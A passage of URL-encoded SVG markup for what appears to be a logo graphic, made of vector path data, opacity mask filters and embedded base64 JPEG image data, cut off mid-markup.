c0%2c0-1.564-15.878-8.544-31.411C16.151%2c57.495%2c4.836%2c51.719%2c4.836%2c51.719z'%3e%3c/path%3e%3c/g%3e%3cdefs%3e%3cfilter
id='Adobe_OpacityMaskFilter' filterUnits='userSpaceOnUse' x='2.938' y='51.719'
width='30.543' height='64.569'%3e%3cfeColorMatrix type='matrix' values='-1 0 0
0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0' color-interpolation-filters='sRGB'
result='source'%3e%3c/feColorMatrix%3e%3c/filter%3e%3c/defs%3e%3cmask
maskUnits='userSpaceOnUse' x='2.938' y='51.719' width='30.543' height='64.569'
id='SVGID_1_'%3e%3cg filter='url(%23Adobe_OpacityMaskFilter)'%3e%3cimage
overflow='visible' width='36' height='69'
xlink:href='data:image/jpeg%3bbase64%2c/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/%2b4AIUFkb2JlAGTAAAAAAQMA
EAMCAwYAAAG4AAACFgAAA5P/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIAEUAJAMBIgACEQEDEQH/
xACIAAEBAQEBAQAAAAAAAAAAAAAABwUGBAIBAQAAAAAAAAAAAAAAAAAAAAAQAAEDAwQDAQAAAAAA
AAAAAAUCBAYQARUgMAMHABMWFxEAAgECAwYFBAMAAAAAAAAAAQIDEQQhQRIAIDEiExRRYXEyBRCh
IxWRgkMSAQAAAAAAAAAAAAAAAAAAADD/2gAMAwEAAhEDEQAAAM3D6/sSGvf4ABSZt9FYktomRiAA
6bp5lZCNgAUuadiZjUHGgaIZwP/aAAgBAgABBQDf/9oACAEDAAEFAN//2gAIAQEAAQUAhUVZnWZ4
C9BPa9cnBjdoXEMjLI2IcBSVYJLeV9edR9RcXVC18a4ucsdEzAUkUfrAjWMNdmDr84vQhdpLEtHW
L32i8en7avWbu/EZyrf9KqAyeV8//9oACAECAgY/AH//2gAIAQMCBj8Af//aAAgBAQEGPwC%2blvld
UVo47eeNgCHALSChqDgV4jPDY2t0NSNUwTgckqeI8CMxl/B3JPip5BBcvMZUMjAJJrCRhUJpzco5
c8vJ7O8TUjYo498b5OhyI2lsLg6jHQpIAQsiMKqwr9/Oo3B8R8i%2bq4RK287EapFX/Nq8XAxrmOPD
ET24rd2OqRBQkvHSrxgLmaAjDKme4skbFHQhlZTQqRiCCM9o7tgFuEJiuEWtBIvhXJlIP2y2uIIk
0W8tJ7cYU0SYkKF4BX1KPTcW3lNLa/pC/lJX8TcCeJ0/2qeG0HyCAlrOTTJSlBHNQajXH3qoHrul
gEeW9tWWjAhBcAFeBqQFlXA%2bVd26siWLW0wkBJqoSZcFXHDmjYn127Ht/wAP7HT2%2bjl6HV1eyns6
ePhp8tye1aQLHcwEiM055I2UrTOoQvt3mlun3Ha5V1dPs9XGmnVj6bkP6mnf6ZejWnHpPqpqwrpr
Sv0//9k=' transform='matrix(1 0 0 1 0
49.377)'%3e%3c/image%3e%3c/g%3e%3c/mask%3e%3cg opacity='0.23'
mask='url(%23SVGID_1_)'%3e%3cpath
d='M4.836%2c51.719l-1.898%2c9.499c0%2c0%2c11.475%2c6.566%2c19.227%2c23.654c6.813%2c15.013%2c8.47%2c31.416%2c8.47%2c31.416
l2.846-7.833c0%2c0-1.564-15.878-8.544-31.411C16.151%2c57.495%2c4.836%2c51.719%2c4.836%2c51.719z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg
opacity='0.4'%3e%3cpath fill='%23FFFFFF'
d='M8.16%2c34.418l-2.054%2c11c0%2c0%2c12.501%2c8.385%2c19.303%2c23.496c8.179%2c18.156%2c9.506%2c35.847%2c9.506%2c35.847
l3.238-9.101c0%2c0-0.903-14.925-7.833-31.89C21.297%2c41.7%2c8.16%2c34.418%2c8.16%2c34.418z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M23.269%2c42.807c0%2c0%2c5.469-16.144%2c18.835-15.909c13.138%2c0.238%2c18.492%2c11.546%2c30.941%2c10.453
c17.877-1.588%2c30.146-24.692%2c30.146-24.692l-1.821-8.466c0%2c0-11%2c20.179-28.558%2c20.894c-11.637%2c0.467-15.672-9.105-28.009-9.893
c-16.77-1.076-22.795%2c17.88-22.795%2c17.88L23.269%2c42.807z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M39.574%2c83.87c0%2c0%2c7.12-14.241%2c19.938-14.082C71.225%2c69.934%2c77.271%2c81.26%2c89.737%2c80.31
c14.556-1.107%2c23.501-21.52%2c23.501-21.52l-1.661-7.594c0%2c0-7.68%2c17.488-22.312%2c18.036c-11.638%2c0.441-15.279-9.228-27.617-10.128
c-14.088-1.029-21.603%2c13.533-21.603%2c13.533L39.574%2c83.87z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M8.16%2c34.418l-2.054%2c11c0%2c0%2c12.501%2c8.385%2c19.303%2c23.496c8.179%2c18.156%2c9.506%2c35.847%2c9.506%2c35.847
l3.238-9.101c0%2c0-0.903-14.925-7.833-31.89C21.297%2c41.7%2c8.16%2c34.418%2c8.16%2c34.418z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M23.269%2c42.807c0%2c0%2c5.469-16.144%2c18.835-15.909c13.138%2c0.238%2c18.492%2c11.546%2c30.941%2c10.453
c17.877-1.588%2c30.146-24.692%2c30.146-24.692l-1.821-8.466c0%2c0-11%2c20.179-28.558%2c20.894c-11.637%2c0.467-15.672-9.105-28.009-9.893
c-16.77-1.076-22.795%2c17.88-22.795%2c17.88L23.269%2c42.807z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M39.574%2c83.87c0%2c0%2c7.12-14.241%2c19.938-14.082C71.225%2c69.934%2c77.271%2c81.26%2c89.737%2c80.31
c14.556-1.107%2c23.501-21.52%2c23.501-21.52l-1.661-7.594c0%2c0-7.68%2c17.488-22.312%2c18.036c-11.638%2c0.441-15.279-9.228-27.617-10.128
c-14.088-1.029-21.603%2c13.533-21.603%2c13.533L39.574%2c83.87z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cg%3e%3cpath
d='M8.16%2c33.918l-2.054%2c11c0%2c0%2c12.501%2c8.385%2c19.303%2c23.496c8.179%2c18.156%2c9.506%2c35.847%2c9.506%2c35.847l3.238-9.101
c0%2c0-0.903-14.925-7.833-31.89C21.297%2c41.2%2c8.16%2c33.918%2c8.16%2c33.918z'%3e%3c/path%3e%3cpath
d='M23.269%2c42.307c0%2c0%2c5.469-16.144%2c18.835-15.909c13.138%2c0.238%2c18.492%2c11.546%2c30.941%2c10.453
c17.877-1.588%2c30.146-24.692%2c30.146-24.692l-1.821-8.466c0%2c0-11%2c20.179-28.558%2c20.894c-11.637%2c0.467-15.672-9.105-28.009-9.893
c-16.77-1.076-22.795%2c17.88-22.795%2c17.88L23.269%2c42.307z'%3e%3c/path%3e%3cpath
d='M39.574%2c83.37c0%2c0%2c7.12-14.241%2c19.938-14.082C71.225%2c69.434%2c77.271%2c80.76%2c89.737%2c79.81
c14.556-1.107%2c23.501-21.52%2c23.501-21.52l-1.661-7.594c0%2c0-7.68%2c17.488-22.312%2c18.036
c-11.638%2c0.441-15.279-9.228-27.617-10.128c-14.088-1.029-21.603%2c13.533-21.603%2c13.533L39.574%2c83.37z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3cdefs%3e%3cfilter
id='Adobe_OpacityMaskFilter_1_' filterUnits='userSpaceOnUse' x='6.106'
y='3.692' width='107.132' height='100.569'%3e%3cfeColorMatrix type='matrix'
values='-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0' color-interpolation-
filters='sRGB'
result='source'%3e%3c/feColorMatrix%3e%3c/filter%3e%3c/defs%3e%3cmask
maskUnits='userSpaceOnUse' x='6.106' y='3.692' width='107.132'
height='100.569' id='SVGID_2_'%3e%3cg
filter='url(%23Adobe_OpacityMaskFilter_1_)'%3e%3cimage overflow='visible'
width='112' height='105'
xlink:href='data:image/jpeg%3bbase64%2c/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/%2b4AIUFkb2JlAGTAAAAAAQMA
EAMCAwYAAAIzAAADowAACUD/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIAGkAcAMBIgACEQEDEQH/
xACeAAEAAwEBAQAAAAAAAAAAAAAABQYHAwIEAQEAAAAAAAAAAAAAAAAAAAAAEAACAwABBAICAwAA
AAAAAAAEBQIDBgcAEDABIFBAFBUWFxEAAgECBAMEBgYGCwAAAAAAAQIDEQQAITESQSIFUWGBExAg
MDJCFHGRobHRI0DwwWKCNVJy0jNTY5PjJKQVEgEAAAAAAAAAAAAAAAAAAABQ/9oADAMBAAIRAxEA
AADPwDucFrFUd%2bAA%2b3jrpnEFbKmAfbscF1LQyD6jSaFbZwxSa1ERsV6yk5A0eqXC2FLz2TigD1aa
oNAg62AAPWo5Z1Ndx3bszK6W4qLa/RiTQKIcj0LfMcjOwW6x5lthnOoUylF97ZUN9%2bXHdDPE76gS
Yxrt8gA1PLLqQ0HZa0AAAAAJuEH1/IAAAAH/2gAIAQIAAQUA%2bx//2gAIAQMAAQUA%2bx//2gAIAQEA
AQUA8ahWS3YbFNSmdfAIEw%2b8fjbRXVEcbaKmo0EwC/uECYfflM5BAv5EaiHN%2b6hWS3YJ0i5MN2ZK
gGwznjUyj3ZltFWQs42ck%2b0qBako2mo/hQ/hxwsqGSanbDpJz3uqlNdyM%2bGuQ61S7h30%2byBS1lFE
GEdsIhBMzmoy5SApa/qU8eznOyfaE51zVciOwY/6p023r5lH4cf6FdNcaEKwF0SQtGf44TnXPG7G
LeGvz/p4q8MITsnpcjUmzfQpRAZCFzS7WbpV7XP%2bsvg7m1I2Xzw1Nubz9tbzjWPqBQpAZHUITsni
8Xcuu5IfQjR247d/otOSV3olLg85U3OIJGDpP5LTUdLuRURc6ra7q2SdY2rnxnn5TV59Oo60OhDQ
hlFEGEdqL7Rr7PVbtHgzx1uTfPjXpvZS/aprFPIiU2P9gQ9OuQ1IdTNmY1M%2bHG537CHUzNEa%2bTjA
qcGnINMK9P5MaUOJpGzG5ox/H//aAAgBAgIGPwBH/9oACAEDAgY/AEf/2gAIAQEBBj8A9nDY2ykt
Iw3uBURx15pG0yUfhh7a2XZayRpLAu4sQpGxtxbjvRvVFtZQvPM3wIK0FQKnsGepywJJGt7djWsU
kjFhQ8fKR1%2b3Bkja3uGFKRRyMGNTw81EX7cG2vYXgmX4HFKipFR2jLUZeoLayheeZvgQVoKgVPYM
9TlgxOVkvJjvuJQONKCNTrtXv41OEt7dFLWKmOW4BB8xmo2zLhGa%2bJPqQ2NspLSMN7gVEcdeaRtM
lH4YW3sogpoBJMQPMkIzq7cdfDh6flb%2bETRVDAEkFWHFWWhBwZejy/NR/wCBKVSUaDJ%2bVG4n4fHH
yzdOnMlQu5ULR1b/ADVqlM9a5YY9QdLBBUAZTuTlTljbbT%2bKvdgw2MW1nA82VjueQqKVYn7hl3YF
vZuv/pXGSA5mKPOstNNclr9tPV%2bfB3TX7sWOfKkTNGq69oY%2bPdj5O1Rbq/Iqyk0SGo5S9Myf3csu
IyqzLeBAxJCLFFRQeA3ITl3nG69KX0J1RlWJhSvuPEop4g4RI5BBesOa0kNH3Z5ISAH0ry8NQPUk
toGE/UwAFhzKx7hk0h0y/o1rpoM8SXV1IZZ5TukkbUn0zHqNpHKt1M5jkZQXMaqIwVb3lo2%2bnHHG
WxlJ%2bXuKeOx6aMPt1HECKaGQG7rLbxKDUpNJJI4JyNNqHfnrl24aSRi7uSzMxqWJzJJPH0rJGxR0
IZWU0KkZggjjhIrsJfwrqZKrNtAoB5o786spPfj%2bV/8AY/2cGKNxZQEnlt6q5WtVDSE7sv3dtez1
bfobMY72ESFQ9Asu6R5KRmuoDZg%2bGJLS7jEsEoo6H7x2EcDh7OUMbYsz2khNVdCaV4DdSgb8Ke0W
SNijoQyspoVIzBBHHC9PvyF6kg5W0E6qKkjsYDUeI40ZIx/zLbdLbEAVZqZxVNKB8uOtDw9kscal
3chVVRUsTkAAOOLO4oXvo5dt5IlShEoJzroEKqo010qfRHdWshiniO6ORdQcRX8Q2FqrLFUMY5F9
5TT6x3EYmkRNtvefnxEVI3N/eip476mg0BHoW%2b6hI9rZvnEigebKtPeBbJR2Ghr9RwsMfTrdlX4p
Y1lc1zzeQMx%2bvDRt022CuCpKRIjUPYyAMD3g4M3Q5CXBZmtp2FCNVWJ9o%2bjmP8WJLW6jMU8R2yRt
qD6FjjUu7kKqqKlicgABxwOq9VGy7Sot7cEHy6gqXcqSCSDkOH06J0S3cGSQiS8A%2bFFo0aHL4jza
1yHA%2bk9NmalvfUCVOSzr7mpoN45dKk7cJfKB5ljICSSR%2bXMRGwA0J37MSXV7HvsrSnKa7ZJTmqnK
hAGbCvZwODNcypBAlKu7BFHAZnLDrZQzXbqRsYgRRPWleZquKf1PxxHFciSykcDc0gDRBzQbd6En
jqVA7aYWWF1kicBkdCGVgdCCMjgRdQtknVfdY1DrmDyutGWtM6HDMs10gYkhFdKKDwG6InLvOCen
2qRO2TSmryUNKje5ZqZaDLHnz8871Fvbg0aRh9yjif24kurqQyzyndJI2pPpjuIW2TQuskbZHayH
cpz7xhhEfLTqNqdhYAlPPjyqAdV3duL6%2buTSKC5kYioBYiKKirWmbHIYN1dHai1EEAPJEnYO0nie
P1D077CdkQmrwnmifSu5DlU0pUZ9%2bAl9WwnJAo9XiJJplIoy79wFO3H8ztP9eP8AtYePprfO3eaq
QpEKsDSrMdu4dm2te0a4e9vX3yvoNFRRoiDgB%2bufqtasy77OZkVB7wjk/NVm%2blman0Y6j0qSQfKm
8e8ES027phuRq0rXY4Htby0FPLmgErV97dE4VaeEjYndZBI00cTuo1jYII9jd9FDePtbO4upFhgT
zd8jnaorFIoqT3nFx1CbJ7hy23Xao5UStBXaoA/SP//Z' transform='matrix(1 0 0 1 4
1.377)'%3e%3c/image%3e%3c/g%3e%3c/mask%3e%3cg opacity='0.23'
mask='url(%23SVGID_2_)'%3e%3cg%3e%3cpath
d='M8.16%2c33.918l-2.054%2c11c0%2c0%2c12.501%2c8.385%2c19.303%2c23.496c8.179%2c18.156%2c9.506%2c35.847%2c9.506%2c35.847
l3.238-9.101c0%2c0-0.903-14.925-7.833-31.89C21.297%2c41.2%2c8.16%2c33.918%2c8.16%2c33.918z'%3e%3c/path%3e%3cpath
d='M23.269%2c42.307c0%2c0%2c5.469-16.144%2c18.835-15.909c13.138%2c0.238%2c18.492%2c11.546%2c30.941%2c10.453
c17.877-1.588%2c30.146-24.692%2c30.146-24.692l-1.821-8.466c0%2c0-11%2c20.179-28.558%2c20.894c-11.637%2c0.467-15.672-9.105-28.009-9.893
c-16.77-1.076-22.795%2c17.88-22.795%2c17.88L23.269%2c42.307z'%3e%3c/path%3e%3cpath
d='M39.574%2c83.37c0%2c0%2c7.12-14.241%2c19.938-14.082C71.225%2c69.434%2c77.271%2c80.76%2c89.737%2c79.81
c14.556-1.107%2c23.501-21.52%2c23.501-21.52l-1.661-7.594c0%2c0-7.68%2c17.488-22.312%2c18.036
c-11.638%2c0.441-15.279-9.228-27.617-10.128c-14.088-1.029-21.603%2c13.533-21.603%2c13.533L39.574%2c83.37z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg
opacity='0.4'%3e%3cpath
d='M161.441%2c30.68l-0.344%2c8.629c-0.468-0.057-7.58-0.287-12.065-0.287
c-0.704%2c9.268-1.223%2c23.257-1.287%2c30.55H135.21c0.928-9.332%2c1.579-18.775%2c1.694-30.55c-4.027%2c0-8.051%2c0.174-12.13%2c0.287
l0.289-8.629H161.441z'%3e%3c/path%3e%3cpath
d='M164.37%2c51.094c0.3-2.56%2c2.088-5.238%2c5.303-5.238c2.847%2c0%2c4.282%2c1.783%2c4.282%2c5.238H164.37z
M184.479%2c56.506c0.3-1.49%2c0.419-2.974%2c0.419-4.46c0-8.273-5.355-12.849-15.11-12.849c-15.827%2c0-17.078%2c13.38-17.078%2c16.535
c0%2c11.724%2c8.273%2c14.579%2c17.729%2c14.579c3.455%2c0%2c6.961-0.424%2c10.356-1.132l1.426-8.331c-3.328%2c0.95-6.903%2c1.965-10.407%2c1.965
c-3.932%2c0-7.8-1.668-7.8-6.307H184.479z'%3e%3c/path%3e%3cpath
d='M212.27%2c49.127c-2.442-0.834-4.998-1.425-7.556-1.425c-4.582%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.38%2c6.782%2c6.837%2c6.782c2.507%2c0%2c5.062-0.594%2c7.379-1.426l-1.435%2c8.861c-2.912%2c0.716-5.885%2c1.077-8.856%2c1.077
c-9.704%2c0-15.227-5.237-15.227-15.056c0-3.149%2c0.774-16.058%2c15.763-16.058c3.87%2c0%2c7.02%2c0.35%2c10.054%2c1.126L212.27%2c49.127z'%3e%3c/path%3e%3cpath
d='M227.375%2c29.911c-0.234%2c2.2-0.887%2c9.938-1.069%2c14.037l0.124%2c0.122c2.673-3.869%2c5.709-4.873%2c11.414-4.873
c5.836%2c0%2c10.892%2c2.196%2c10.892%2c9.455c0%2c1.61-0.834%2c13.505-0.834%2c20.945h-11.72c0.361-5.178%2c0.897-10.355%2c0.897-15.531
c0-2.914-0.897-5.592-4.348-5.592c-3.038%2c0-5.059%2c2.078-5.887%2c4.875c-1.007%2c3.156-1.254%2c9.882-1.494%2c16.247h-11.834
c0.834-7.44%2c2.021-25.285%2c2.021-39.686H227.375z'%3e%3c/path%3e%3cpath
d='M161.441%2c30.68l-0.344%2c8.629c-0.468-0.057-7.58-0.287-12.065-0.287
c-0.704%2c9.268-1.223%2c23.257-1.287%2c30.55H135.21c0.928-9.332%2c1.579-18.775%2c1.694-30.55c-4.027%2c0-8.051%2c0.174-12.13%2c0.287
l0.289-8.629H161.441z'%3e%3c/path%3e%3cpath
d='M164.37%2c51.094c0.3-2.56%2c2.088-5.238%2c5.303-5.238c2.847%2c0%2c4.282%2c1.783%2c4.282%2c5.238H164.37z
M184.479%2c56.506c0.3-1.49%2c0.419-2.974%2c0.419-4.46c0-8.273-5.355-12.849-15.11-12.849c-15.827%2c0-17.078%2c13.38-17.078%2c16.535
c0%2c11.724%2c8.273%2c14.579%2c17.729%2c14.579c3.455%2c0%2c6.961-0.424%2c10.356-1.132l1.426-8.331c-3.328%2c0.95-6.903%2c1.965-10.407%2c1.965
c-3.932%2c0-7.8-1.668-7.8-6.307H184.479z'%3e%3c/path%3e%3cpath
d='M212.27%2c49.127c-2.442-0.834-4.998-1.425-7.556-1.425c-4.582%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.38%2c6.782%2c6.837%2c6.782c2.507%2c0%2c5.062-0.594%2c7.379-1.426l-1.435%2c8.861c-2.912%2c0.716-5.885%2c1.077-8.856%2c1.077
c-9.704%2c0-15.227-5.237-15.227-15.056c0-3.149%2c0.774-16.058%2c15.763-16.058c3.87%2c0%2c7.02%2c0.35%2c10.054%2c1.126L212.27%2c49.127z'%3e%3c/path%3e%3cpath
d='M227.375%2c29.911c-0.234%2c2.2-0.887%2c9.938-1.069%2c14.037l0.124%2c0.122c2.673-3.869%2c5.709-4.873%2c11.414-4.873
c5.836%2c0%2c10.892%2c2.196%2c10.892%2c9.455c0%2c1.61-0.834%2c13.505-0.834%2c20.945h-11.72c0.361-5.178%2c0.897-10.355%2c0.897-15.531
c0-2.914-0.897-5.592-4.348-5.592c-3.038%2c0-5.059%2c2.078-5.887%2c4.875c-1.007%2c3.156-1.254%2c9.882-1.494%2c16.247h-11.834
c0.834-7.44%2c2.021-25.285%2c2.021-39.686H227.375z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cg%3e%3cpath
d='M161.441%2c30.18l-0.344%2c8.629c-0.468-0.057-7.58-0.287-12.065-0.287c-0.704%2c9.268-1.223%2c23.257-1.287%2c30.55H135.21
c0.928-9.332%2c1.579-18.775%2c1.694-30.55c-4.027%2c0-8.051%2c0.174-12.13%2c0.287l0.289-8.629H161.441z'%3e%3c/path%3e%3cpath
d='M164.37%2c50.594c0.3-2.56%2c2.088-5.238%2c5.303-5.238c2.847%2c0%2c4.282%2c1.783%2c4.282%2c5.238H164.37z
M184.479%2c56.006
c0.3-1.49%2c0.419-2.974%2c0.419-4.46c0-8.273-5.355-12.849-15.11-12.849c-15.827%2c0-17.078%2c13.38-17.078%2c16.535
c0%2c11.724%2c8.273%2c14.579%2c17.729%2c14.579c3.455%2c0%2c6.961-0.424%2c10.356-1.132l1.426-8.332c-3.328%2c0.951-6.903%2c1.965-10.407%2c1.965
c-3.932%2c0-7.8-1.668-7.8-6.307H184.479z'%3e%3c/path%3e%3cpath
d='M212.27%2c48.627c-2.442-0.834-4.998-1.425-7.556-1.425c-4.582%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.38%2c6.782%2c6.837%2c6.782c2.507%2c0%2c5.062-0.594%2c7.379-1.426l-1.435%2c8.861c-2.912%2c0.716-5.885%2c1.077-8.856%2c1.077
c-9.704%2c0-15.227-5.237-15.227-15.056c0-3.149%2c0.774-16.058%2c15.763-16.058c3.87%2c0%2c7.02%2c0.35%2c10.054%2c1.126L212.27%2c48.627z'%3e%3c/path%3e%3cpath
d='M227.375%2c29.411c-0.234%2c2.2-0.887%2c9.938-1.069%2c14.037l0.124%2c0.122c2.673-3.869%2c5.709-4.873%2c11.414-4.873
c5.836%2c0%2c10.892%2c2.196%2c10.892%2c9.455c0%2c1.61-0.834%2c13.505-0.834%2c20.945h-11.72c0.361-5.178%2c0.897-10.355%2c0.897-15.531
c0-2.914-0.897-5.592-4.348-5.592c-3.038%2c0-5.059%2c2.078-5.887%2c4.875c-1.007%2c3.156-1.254%2c9.882-1.494%2c16.247h-11.834
c0.834-7.44%2c2.021-25.285%2c2.021-39.686H227.375z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3cdefs%3e%3cfilter
id='Adobe_OpacityMaskFilter_2_' filterUnits='userSpaceOnUse' x='124.774'
y='29.411' width='123.962' height='40.4'%3e%3cfeColorMatrix type='matrix'
values='-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0' color-interpolation-
filters='sRGB'
result='source'%3e%3c/feColorMatrix%3e%3c/filter%3e%3c/defs%3e%3cmask
maskUnits='userSpaceOnUse' x='124.774' y='29.411' width='123.962'
height='40.4' id='SVGID_3_'%3e%3cg
filter='url(%23Adobe_OpacityMaskFilter_2_)'%3e%3cimage overflow='visible'
width='129' height='45'
xlink:href='data:image/jpeg%3bbase64%2c/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/%2b4AIUFkb2JlAGTAAAAAAQMA
EAMCAwYAAAIbAAADUAAAB8z/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIAC0AgQMBIgACEQEDEQH/
xAClAAADAQEAAwEAAAAAAAAAAAAFBgcABAECAwgBAQAAAAAAAAAAAAAAAAAAAAAQAAEDAgYCAgMB
AAAAAAAAAAUDBAYAARACFRYHFxQ2QBEgEzUnEQABAgQCBgYHBgILAAAAAAACAQMRIRIEABMQMSIy
FAVBUYEjNBVxQlIzo7PTIGGRooMWYpLwobHRcpPDJHSE9BIBAAAAAAAAAAAAAAAAAAAAQP/aAAwD
AQACEQMRAAAA9zqcwhDMCufeQVnhJpqWmAfGHMmjG2DxhmlrRicaoLIq7YzAvsBYJpS04aQzCBPv
7BPAx7uQj6d8poBQAhuIFo5Q5kh%2b2M3qBctMkNpxY/MioJ0rZ%2bfFOKxCkhoZyLRUvz%2b/oBYOlFwo
bY//2gAIAQIAAQUA%2bX//2gAIAQMAAQUA%2bX//2gAIAQEAAQUAhsPCvwexIpWxIpWxIpV4HFL2/KCi
B5cvsSKVKGjFkexAz%2b4YUBn%2bslak812%2b/jssIH1W/GAnKk44wE5kpDGCIBWPRgifVb8YCcqV%2bMQP
1DhVw0zrJx5Z%2bT6xA1J4MuEa4QT2uuQmyjyUsmTUe1lBs0NvGiRQkPlDZFzHgwxISMLF2Idmjyix
zLgyDU7J6Oy0SCVZPWz9rIbWuAwgntdE75b8k0dmIwC77OA1fkiOL2rlNBXMhXFeEid3eneOkV04
3IP4OHGVrXP1MHKjOaiC7IyyJBxhZPYkUrkdqyHto1IGx0eqkmsnkBBE88atdwVwgnqkrdZGkcwj
O4NQ/wBWo5quqx3cfmD%2bw/Fc9gePJ9zeUG1jzh/YfilOx/0h9/1m7V%2bqAdgaUf7A0qv/2gAIAQIC
Bj8AX//aAAgBAwIGPwBf/9oACAEBAQY/AG7/AJizxDtwZqG24FAASt092aIsxVY/fjwPxnvqY8D8
Z76mPA/Ge%2bpiHAw%2b/Oe%2bp9t225g1nMhbk4IVEG0htiixBRXUS48D8Z76mLy15ciJaskIgKEp0kgD
mDUSqsjin2GOWrYZ%2bRXB3OojWZObuWXtdeGOW8BkZ9fe51dNAE5u5Q%2bz16G7LguJzGRerzcuFRGF
MMs/YwSW/K0atm1RHrk7haUiqREURnaKE4fiqRwiXN3cOvTqNuhsVnKAELi/mwqW13cNPSpNyhwU
nOICLa/mwKXEHbdxVRq4bjSsPVKO6UJw/BVhgkt4NW7aojtw5GlI%2bqMN4oTh%2bKpHCJc3dw69Oo26
GxWcoAQuL%2bbEri7j0bbf0sX/AC1Xc/ItF72miqsrdzdiUN7r0X19zR82Wn7l82WWaa1AnFIDIyqR
Ip6sO1NWPEXf87f0cLf27/E2glBxCFANoSWkIzVCmsFVIejq0WP63yXNFjaNQR24YZaBSklRvOik
e1cN2lo2jTDSQAE/tXrVelcMNcm5ed66aKTx5LrrYDqFO6glSrH1pQ1TwT3NbRbK6Bwgy1A20IUQ
SQ0F3aTehrXVjmLbw1CNu46PRA2hVwFl1EKYt%2bXtLFGAgRT2zXaMpquslVcFeXp0tjIRSZmXQAJK
K/0XBC/YOhbpGhwDEzWezFskBEin8S9uHeb2Crw7PL27d0TRRNHXXScRIalgITVF0Axdq45cGiHk
sjUSAtSISqSiOseuP3YbvLRxHWHkqA06ehfQqLJUxzOM/wDaP/LLTY/rfJc0cpjCVqX403MNAWd4
0%2bbhto6itCBDSREHruDPZx4e7/kb%2btjIet7nJd2HMxtsgpLZKsUcKKQ1yXRy64QYstm82ZSkTiAQ
J2oBaOaf9f8A1tF/c5iPCb5o24kIK2C0Nwh0UImBN0qgeecNhIqtIJBtUgurbAll145n/wAR/wCW
Wl%2bPRaHD/Ma0XF21BXbdy3dBCmlQNNEke1MBeWZ1AUjBd9s%2bkDToVMI1zC2B8R3SWKGM0XZMYEMY
TguPA/Ge%2bpiwtrK0YtwfNw3CabECVWUEQRVGEU71deAeAkS7bERu2tSi5CaokV2SXd/vwTTwC40a
KJgaIQki60VFkuBcb5dagYKhCQsNooqk0VFQcc/5jIEcu0tMtOjgworj/HVGHRpsf1vnOY5i6aKS
EwTSIOuL/cis%2bpTnpP8Ab8eMyir937qoavf7O9Tj/wAWH/OY%2bYRHPjR7A0%2b62d2GrC/t/OzpZmXD
L1FTm1931wr7J4DiPL82Kx4mvN1yq4Xu/RDtnhzK8szKVpys7MjCVGdsR/xS68NfuKvNoXJjRRTH
apydiPX06o9GA8mzuMlDIjGmpN%2bEqIwjVs9eA4jy/NiseJrzdcquF7v0Q7Z4DheCrqnwm/CC73Gb
EPRPF75XHxTnGR4fxUs33vZuywsYwh0cHH%2brQz5LHy%2bJ5PhvbKv321vRw951Hy%2bIZ3hvbGj3O1vQ
0f/Z' transform='matrix(1 0 0 1 122
27.377)'%3e%3c/image%3e%3c/g%3e%3c/mask%3e%3cg opacity='0.36'
mask='url(%23SVGID_3_)'%3e%3cg%3e%3cpath
d='M161.441%2c30.18l-0.344%2c8.629c-0.468-0.057-7.58-0.287-12.065-0.287
c-0.704%2c9.268-1.223%2c23.257-1.287%2c30.55H135.21c0.928-9.332%2c1.579-18.775%2c1.694-30.55c-4.027%2c0-8.051%2c0.174-12.13%2c0.287
l0.289-8.629H161.441z'%3e%3c/path%3e%3cpath
d='M164.37%2c50.594c0.3-2.56%2c2.088-5.238%2c5.303-5.238c2.847%2c0%2c4.282%2c1.783%2c4.282%2c5.238H164.37z
M184.479%2c56.006c0.3-1.49%2c0.419-2.974%2c0.419-4.46c0-8.273-5.355-12.849-15.11-12.849c-15.827%2c0-17.078%2c13.38-17.078%2c16.535
c0%2c11.724%2c8.273%2c14.579%2c17.729%2c14.579c3.455%2c0%2c6.961-0.424%2c10.356-1.132l1.426-8.332c-3.328%2c0.951-6.903%2c1.965-10.407%2c1.965
c-3.932%2c0-7.8-1.668-7.8-6.307H184.479z'%3e%3c/path%3e%3cpath
d='M212.27%2c48.627c-2.442-0.834-4.998-1.425-7.556-1.425c-4.582%2c0-7.499%2c2.674-7.499%2c7.313
